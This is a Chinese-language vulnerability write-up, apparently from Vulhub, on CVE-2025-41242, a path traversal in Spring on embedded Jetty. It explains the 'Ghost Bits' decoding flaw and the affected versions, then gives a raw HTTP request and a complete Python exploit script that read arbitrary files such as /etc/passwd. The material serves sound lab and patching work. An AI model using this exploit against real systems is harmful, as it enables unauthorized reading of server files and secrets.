# Spring 框架因 Jetty URI 解析不一致导致的路径穿越漏洞 CVE-2025-41242

## 漏洞描述

Spring 框架是 Java 生态中应用最广泛的应用框架之一，Jetty 是 Spring Boot 应用常用的内嵌 HTTP 服务器。CVE-2025-41242 是一个由 Spring 框架与 Jetty 之间**URI 解码不一致**所导致的路径穿越漏洞。

漏洞根源是 Spring 的 `StringUtils.uriDecode` 中的 "Ghost Bits" 缺陷：解码器遇到非 `%xy` 字符时，会直接调用 `ByteArrayOutputStream.write(int)`，而该方法只保留 16 位 Java`char` 的**低 8 位**。结果就是某些中文字符在解码过程中被悄悄 " 炼 " 成 ASCII 字节，例如 `阮(U+962E)→0x2E='.'`、`严(U+4E25)→0x25='%'`、`灵(U+7075)→0x75='u'`、`丰(U+4E30)→0x30='0'`、`甲(U+7532)→0x32='2'`、`来(U+6765)→0x65='e'`，于是攻击者构造的字符串 `阮严灵丰丰甲来` 被静默地转换成 ASCII 字符串 `.%u002e`。这串结果在 Spring 的 `isInvalidPath`/`isInvalidEncodedPath` 检查中既不含字面量 `../`，标准的 `URLDecoder` 又不识别非标准的 `%uXXXX` 编码，所有安全检查全部放行。但路径随后通过 `ServletContextResource` 交给底层 Jetty 的 `PathResource#resolve` 时，Jetty 在 `URIUtil.encodePathSafeEncoding` 中却主动把 `%u002e` 当作 Unicode 解码为 `.`，使 `/.%u002e/` 在文件系统层面变成 `/../`，从而完成跨目录读取，最终读取 `/etc/passwd` 等任意文件。一句话：Spring 看到的是 " 无害的中文/Unicode"，Jetty 解释的却是 " 致命的 `../`"。官方修复方式是改用 `StringBuilder` 逐字符 `append`，从根源上消除高位丢失。

根据上游安全公告 [GHSA-r936-gwx5-v52f](https://github.com/advisories/GHSA-r936-gwx5-v52f)，`spring-webmvc` 的受影响版本范围为 `5.3.0` 至 `5.3.43`、`6.0.0` 至 `6.0.29`、`6.1.0` 至 `6.1.21`、`6.2.0` 至 `6.2.9`（修复版本为 `5.3.44`、`6.0.30`、`6.1.22`、`6.2.10`），且应用部署在内嵌 Jetty 之上时触发。需要注意的是，将 `%u002e` 解码为 `%2e` 的 `URIUtil.encodePathSafeEncoding` 方法仅在 `jetty-util >= 12.0` 中提供，而 `spring-boot-starter-parent` 从 `3.2.0` 起才默认引入 Jetty 12，因此更早的 Spring Boot 组合（例如 3.1.x + Jetty 11）即便 Spring 端在受影响范围内也无法触发该漏洞链。本环境基于 Spring Boot 3.2.4+ 默认 `spring-boot-starter-jetty` 演示该漏洞。

参考链接：

- https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
- https://github.com/advisories/GHSA-r936-gwx5-v52f
- https://github.com/spring-projects/spring-framework/commit/24e66b63

## 漏洞影响

```
org.springframework:spring-webmvc >= 6.2.0, < 6.2.10
org.springframework:spring-webmvc >= 6.1.0, <= 6.1.21
org.springframework:spring-webmvc >= 6.0.0, <= 6.0.29
org.springframework:spring-webmvc >= 5.3.0, <= 5.3.43
```

## 环境搭建

Vulhub 执行如下命令启动一个 Spring Boot 3.2.4 + 内嵌 Jetty 环境：

```
docker compose up -d
```

等待数秒待服务启动完成，然后访问 `http://your-ip:8080/` 即可看到一个 "Hello World" 页面。

![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511093845308.png)

## 漏洞复现

要触发这个漏洞，请求必须以 `阮严灵丰丰甲来` 的原始 UTF-8 字节直送服务端，不能预先做 percent-encoding。这是因为 Ghost Bits 仅在 Spring 的 `StringUtils.uriDecode` 处理一段已经包含 16 位 `char` 的字符串时才会发生——如果中文字符在传输前被编码成 `%E9%98%AE` 这样的 ASCII 三元组，解码器走的是另一条不含截断逻辑的路径，漏洞无法触发。还有第二个细节：目标文件名中至少要有一个字符做 percent-encoding（例如把 `passwd` 写成 `passw%64`），否则 Spring 的路径匹配会提前短路，根本不会调用到那段有问题的解码逻辑。

这意味着浏览器、`curl`、Burp Suite 以及绝大多数代理工具都**无法**直接用来复现该漏洞——它们在发送请求前会对 URL 路径做规范化处理，把高位 Unicode 字符自动编码为 ASCII（变成 `%E9%98%AE...` 或 `.%u002e`），从而破坏漏洞触发条件。要复现，必须使用允许逐字节构造并发送原始 HTTP 请求的工具。

**方式一：Python socket 脚本。** 仓库目录下提供了 [`poc.py`](https://github.com/vulhub/vulhub/blob/d277a8693e588684e951dddb0733809e53881a3c/spring/CVE-2025-41242/poc.py)，它会将 `阮严灵丰丰甲来` 的原始 UTF-8 字节直接写入 socket（绕过浏览器、`curl` 等会做的 URL 规范化），并自动对目标文件名最后一个字节做 percent-encoding。脚本同时支持 `http` 与 `https` 目标——TLS 握手会被透明地包裹在 socket 之上，所以面对前置 HTTPS 的 Jetty 服务器同样可用。

读取靶机环境中的 `/etc/passwd`：

```
python poc.py http://your-ip:8080
```

通过 `-f` 指定其他文件：

```
python poc.py http://your-ip:8080 -f /etc/hosts
```

如果目标是使用自签证书的 HTTPS 服务，可以加 `-k` 跳过 TLS 校验：

```
python poc.py https://your-ip:8443 -f /etc/passwd -k
```

脚本会把响应头写到 stderr，把文件正文写到 stdout，因此可以直接重定向：`python3 poc.py http://your-ip:8080 -f /etc/passwd > passwd.txt`。在 Vulhub 环境上运行即可看到 `/etc/passwd` 内容：

![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511094329205.png)

**方式二：Yakit 原始数据包。** Yakit 的 HTTP Fuzzer 会原样发送请求行，不会对高位字符做规范化。在请求面板中粘贴如下数据包并发送：

```
GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
Host: your-ip:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
```

![](images/Spring%20框架因%20Jetty%20URI%20解析不一致导致的路径穿越漏洞%20CVE-2025-41242/image-20260511094447518.png)

## 漏洞 POC

```
#!/usr/bin/env python3
"""
PoC for CVE-2025-41242: Spring Framework path traversal via Jetty URI
parsing inconsistency on embedded Jetty.
"""
from __future__ import annotations

import argparse
import socket
import ssl
import sys
from urllib.parse import urlparse

GHOST_BITS_SEG = '阮严灵丰丰甲来'.encode('utf-8')
DEFAULT_PORTS = {'http': 80, 'https': 443}


def encode_target_path(file_path: str) -> bytes:
    """Strip the leading slash and percent-encode the last character.

    Spring's path matcher short-circuits when no character is percent-encoded,
    so at least one byte of the target filename must be encoded for the buggy
    decoder to fire (e.g. 'passwd' -> 'passw%64').
    """
    path = file_path.lstrip('/')
    if not path:
        raise ValueError('file path must not be empty')
    last = path[-1]
    if not last.isascii():
        raise ValueError('last character of the file path must be ASCII')
    return path[:-1].encode('utf-8') + ('%%%02x' % ord(last)).encode()


def parse_target(url: str) -> tuple[str, str, int]:
    if '://' not in url:
        url = 'http://' + url
    parsed = urlparse(url)
    if parsed.scheme not in DEFAULT_PORTS:
        raise ValueError(
            f'only http/https are supported (got {parsed.scheme!r})'
        )
    if not parsed.hostname:
        raise ValueError(f'cannot parse host from {url!r}')
    port = parsed.port or DEFAULT_PORTS[parsed.scheme]
    return parsed.scheme, parsed.hostname, port


def build_request(host: str, port: int, file_path: str) -> bytes:
    encoded_target = encode_target_path(file_path)
    path = b'/' + (GHOST_BITS_SEG + b'/') * 7 + encoded_target
    host_header = f'{host}:{port}'.encode()
    return (
        b'GET ' + path + b' HTTP/1.1\r\n'
        b'Host: ' + host_header + b'\r\n'
        b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' + b'\r\n'
        b'Connection: close\r\n\r\n'
    )


def send(
    scheme: str,
    host: str,
    port: int,
    request: bytes,
    timeout: float,
    insecure: bool,
) -> bytes:
    sock = socket.create_connection((host, port), timeout=timeout)
    if scheme == 'https':
        ctx = ssl.create_default_context()
        if insecure:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(sock, server_hostname=host)
    with sock:
        sock.sendall(request)
        chunks = []
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            chunks.append(chunk)
    return b''.join(chunks)


def main() -> int:
    parser = argparse.ArgumentParser(
        description=(
            'PoC for CVE-2025-41242: Spring Framework path traversal on '
            'embedded Jetty. Reads an arbitrary file from the target server.'
        ),
        epilog='example: python poc.py http://192.168.1.160:8080 -f /etc/passwd',
    )
    parser.add_argument(
        'target',
        help='target URL or host:port, e.g. http://192.168.1.160:8080',
    )
    parser.add_argument(
        '-f', '--file',
        default='/etc/passwd',
        help='absolute path of the file to read (default: /etc/passwd)',
    )
    parser.add_argument(
        '--timeout', type=float, default=10.0,
        help='socket timeout in seconds (default: 10)',
    )
    parser.add_argument(
        '-k', '--insecure', action='store_true',
        help='skip TLS certificate verification when using https',
    )
    args = parser.parse_args()

    try:
        scheme, host, port = parse_target(args.target)
        request = build_request(host, port, args.file)
    except ValueError as e:
        print(f'error: {e}', file=sys.stderr)
        return 2

    try:
        data = send(
            scheme, host, port, request,
            timeout=args.timeout, insecure=args.insecure,
        )
    except OSError as e:
        print(
            f'error: connection to {scheme}://{host}:{port} failed: {e}',
            file=sys.stderr,
        )
        return 1

    # Send response headers to stderr and the body to stdout, so the body can
    # be redirected cleanly: `python poc.py <target> -f /etc/passwd > out`.
    header, sep, body = data.partition(b'\r\n\r\n')
    sys.stderr.buffer.write(header + sep)
    sys.stderr.flush()
    sys.stdout.buffer.write(body)
    return 0


if __name__ == '__main__':
    raise SystemExit(main())
```

## 漏洞修复

- 升级至 [Spring Framework 6.2.10 ](https://spring.io/blog/2025/08/14/spring-framework-6-2-10-release-fixes-cve-2025-41242) 及以上版本。
